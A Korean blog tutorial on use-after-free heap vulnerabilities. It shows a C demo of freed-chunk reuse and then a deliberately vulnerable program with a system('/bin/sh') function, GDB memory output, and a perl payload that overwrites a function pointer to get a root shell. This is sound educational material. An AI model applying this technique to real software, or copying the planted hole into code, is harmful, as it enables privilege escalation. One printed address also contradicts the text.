본문 바로가기

system

Use-After-Free 취약점

UAF(Use-After_free) 취약점이란 무엇인가?

: UAF 취약점이란, 프로그래머가 Heap 영역을 잘못 다룰 때 발생하는 취약점으로, 가령 우리가 Heap 영역을 사용한 후 Free 하고 재사용(reallocation) 할 경우 일어나는 취약점이다.

 

간단하게 소스코드를 보자.


#include <stdio.h>
#include <stdlib.h>

int main() {
        int *one, *two;

        one = malloc(120);

        printf("input value : ");
        scanf("%d", one);

        printf("one's address : %p\n", one);
        printf("one's value   : %d\n", *one);

        free(one);

        two = malloc(120);

        printf("\n");
        printf("two's address : %p\n", two);
        printf("two's value   : %d\n", *two);

        return 0;
}

 

위의 파일을 실행하면,

input value : 1234


one's address : 0x8444008
one's value   : 1234

two's address : 0x8444008c
two's value   : 1234

 

간단히 설명하면, malloc 함수를 통해 Heap 영역에 120만큼 one 에 할당한다. 그리고 정수 값을 입력받는다. "1234"를 입력했을 때 Heap 영역의 주소와 one 의 값을 출력하고 free 한다.

그 후가 문제이다. two 가 one 과 똑같은 사이즈로 할당되는데 결과를 보자. one 에 할당했던 주소와 값을 그대로 사용하고 있다.

즉, one 과 two 가 같은 메모리에 할당되었기 때문이다.

 

이러한 이유는 malloc 함수에는 caching 기능이 있는데, 그 중에 Deferred Coalescing(병합 지연) 속성이 있다.

이 기능은, Heap을 병합하거나 분할하는 시간을 절약하기 위해 해제된 chunk를 병합시키기 보다 같은 크기의 chunk 를 재할당하기 위한 다른 요청을 대비해 현재의 크기에 해제된 chunk를 그대로 놔두었다가 reuse 할 때 free 된 영역을 그대로 사용한다. 

 

 

다음 코드는 exploit 을 하기 위한 test 코드이다.

#include <stdio.h>
#include <stdlib.h>

typedef struct uaf {
        int StudentNumber;
        void (*UseAfterFree)(int*);
}VULN;


void execute_shell() {
        system("/bin/sh");
}

void *PRINT_ID(int StudentNumber) {
        printf("Your Student Number : %d\n", StudentNumber);
}

int main(int argc, char *argv[]) {
        VULN *vuln = malloc(100);
        void *vuln_test;

        int id;

        printf("Input Student Number : ");
        scanf("%d", &vuln->StudentNumber);

        id = vuln->StudentNumber;
        vuln->UseAfterFree = PRINT_ID;

        if(vuln->StudentNumber > 9999) {
                printf("Your StudentNumber is too big\n");
                free(vuln);
        }

        vuln_test = malloc(100);

        strcpy(vuln_test, argv[1]);
        free(vuln_test);

        vuln->UseAfterFree(id);

        return 0;
}

위에서 StudentNumber 가 9999 보다 크면 free(vuln) 코드를 실행한다. 이 때 프로그램이 종료되는게 아니라 다음 코드에서 똑같은 크기로 Heap 을 재사용하기 때문에 UAF 취약점이 발생한다.

 

Input Student Number : 11111

Breakpoint 1, 0x080485de in main ()
(gdb) x/40x 0x0804b008
0x804b008: 0x00002b67 0x08048571 0x00000000 0x00000000

일반적으로 StudentNumber 를 입력받아서 Heap 영역에 넣고, vuln->UseAfterFree = PRINT_ID 를 함으로써, StudentNumber 다음에는 PRINT_ID 의 포인터 주소가 들어가 있다. 하지만 UAF 취약점과 strcpy(vuln_test, argv[1]) 을 통해 우리는 해당 Heap 영역을 조작할 수 있다.

만약 PRINT_ID 가 있는 포인터 주소를 execute_shell() 함수가 있는 곳으로 조작한다면, 그 후 vuln->UseAfterFree(id); 이 부분에서 execute_shell() 함수가 실행될 것이다.

 

./vul `perl -e 'print "AAAA", "\x5d\x85\x04\x08"'`

Input Student Number : 111111
Your StudentNumber is too big

# id
uid=0(root) gid=0(root) groups=0(root)

'system' 카테고리의 다른 글

MP3 CD Converter Exploit  (0) 2016.11.22
SEH(Structured Exception Handler)  (0) 2016.11.17
Back(` `) , Single(' '), Double(" ") Quotes, Blackslash(\)  (0) 2016.11.04
stdin 임시버퍼  (0) 2016.10.11
LD_PRELOAD  (0) 2016.10.05